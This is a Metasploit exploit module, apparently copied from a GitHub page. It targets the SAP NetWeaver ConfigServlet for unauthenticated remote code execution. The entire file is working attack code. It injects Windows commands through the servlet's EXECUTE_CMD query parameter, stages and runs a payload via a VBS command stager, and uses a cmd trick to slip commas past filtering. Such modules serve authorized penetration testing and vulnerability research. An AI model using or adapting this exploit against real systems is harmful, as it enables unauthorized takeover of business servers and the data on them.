Permalink
Fetching contributors…
Cannot retrieve contributors at this time
139 lines (125 sloc) 4.59 KB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP ConfigServlet Remote Code Execution',
'Description' => %q{
This module allows remote code execution via operating system commands through the
SAP ConfigServlet without any authentication. This module has been tested successfully
with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
},
'Author' =>
[
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
'Andras Kabai' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92704'],
[ 'EDB', '24996'],
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
],
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
'Platform' => 'win',
'Targets' =>
[
[
'Windows generic',
{
'Arch' => ARCH_X86
}
]
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
])
register_advanced_options(
[
OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
])
end
def check
uri = normalize_uri(target_uri.path, 'ConfigServlet')
begin
res = send_evil_request(uri, "whoami", 20)
rescue
vprint_error("An error has occurred while sending the malicious request")
return Exploit::CheckCode::Unknown
end
if !res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.body.include?("Process created")
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
print_status("#{rhost}:#{rport} - Exploiting remote system")
uri = normalize_uri(target_uri.path, 'ConfigServlet')
execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
end
def execute_command(cmd, opts)
commands = cmd.split(/&/)
commands.each do |command|
timeout = 20
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
register_file_for_cleanup($1)
end
if command.include?(".vbs") and command.include?(",")
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
# using the following command line trick it is possible to echo commas into the right places
command.gsub!(",", "%i")
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
else
command = "cmd /c " + command
end
if command.include?("cscript")
# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
# increaste timeout value when the VBS stager is called
timeout = 120
end
vprint_status("Attempting to execute: #{command}")
send_evil_request(opts[:sap_configservlet_uri], command, timeout)
end
end
def send_evil_request(uri, cmd, timeout)
begin
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
}, timeout)
if !res
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed")
end
if res.code != 200
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server")
end
if not res.body.include?("Process created")
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed")
end
return res
end
end